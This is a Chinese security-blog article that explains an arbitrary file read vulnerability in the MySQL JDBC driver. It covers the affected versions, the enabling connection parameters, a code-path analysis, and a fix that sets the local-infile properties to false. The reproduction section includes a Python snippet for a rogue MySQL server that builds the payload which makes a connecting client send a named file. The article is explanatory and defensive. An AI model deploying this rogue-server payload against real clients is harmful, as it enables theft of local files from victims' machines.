freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JDBC任意文件读取漏洞详解
yitaiqi2 2023-09-13 16:10:21 195351

8.0.14

在8.0.14版本下无需进行任何参数设置,可以直接读取任意文件。

8.0.25

无法直接读取任意文件。至少需要设置allowLoadLocalInfile=true参数才可以使用。另外也可以试试allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360其他几个参数。原因在于不知道哪个版本开始allowLoadLocalInfile的默认值变成了false,详见com/mysql/cj/conf/PropertyDefinitions的静态代码块。

image-20230908165800605

5.1.47

同8.0.25一样也无法直接读取任意文件。至少需要设置allowLoadLocalInfile=true参数才可以使用。建议能使用全的payload就用全的。

漏洞分析

  1. 当mysql驱动进行任意sql语句操作时,会进入到NativeProtocol#sendQueryPacket->NativeProtocol#readAllResults->NativeProtocol#read流程中来。

  2. 在NativeProtocol#read函数中当columnCount为-1时就会从数据包中读取文件名,并将对应文件内容发送给服务器。
    image-20230912163915433

  3. columnCount只有在数据包正文中[^1]第一个数据为fb的情况下才能被赋值为-1,之后的字节全部为文件名。
    image-20230912164200965
    image-20230912164139288

  4. 顺利进入sendFileToServer函数中后会直接将文件内容发送给服务器。
    image-20230912170558765

漏洞复现

  1. 在服务器搭建恶意服务,这里我修改了jdbc反序列化恶意服务器的代码,具体是当接收到show session status查询时的响应内容。

if "show session status" in data:
                #第一个字节为数据包的长度,接下来的000001固定不变。fb为了让columnCount是-1。之后再拼接上要读取文件名的16进制编码即可。
                _payload="{:0>2x}".format(len(sys.argv[1])+1)+"000001fb"+sys.argv[1].encode().hex()
                _payload=_payload.encode()
                print(_payload)
                send_data(conn,_payload)
                data=receive_data(conn)
                send_data(conn, data)
                data = receive_data(conn)
                return
  1. 控制mysql连接该服务器,即可获取到文件内容。
    1694567882.jpg

  2. 读取到文件内容。
    image-20230913092154171

修复方案

首先,用户可以控制url参数,但是绝对不能让用户控制properties。

在jdbc连接过程中会将properties解析并覆盖掉url中对应的参数。所以可以通过以下方式规避该问题。

Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
Connection conn = DriverManager.getConnection(c,properties);

结语

mysql蜜罐应该也是用的这个漏洞,目前存在该漏洞的系统还是蛮多的。


创作不易,转载需注明出自公众号"地表最强伍迪哥" :heart:

qrcode_for_gh_1b982131f697_344

[^1]: 数据包前4个字节为packetHeader不属于正文

# mysql # 任意文件读取 # JDBC
本文为 yitaiqi2 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yitaiqi2 LV.3
  • 6 文章数
  • 0 关注者
FoxyProxy历史版本回退
2023-12-11
为什么你的jwt密钥爆破不出来?
2023-11-30
FastJson1.68&1.80版本反序列化利用
2023-09-28
文章目录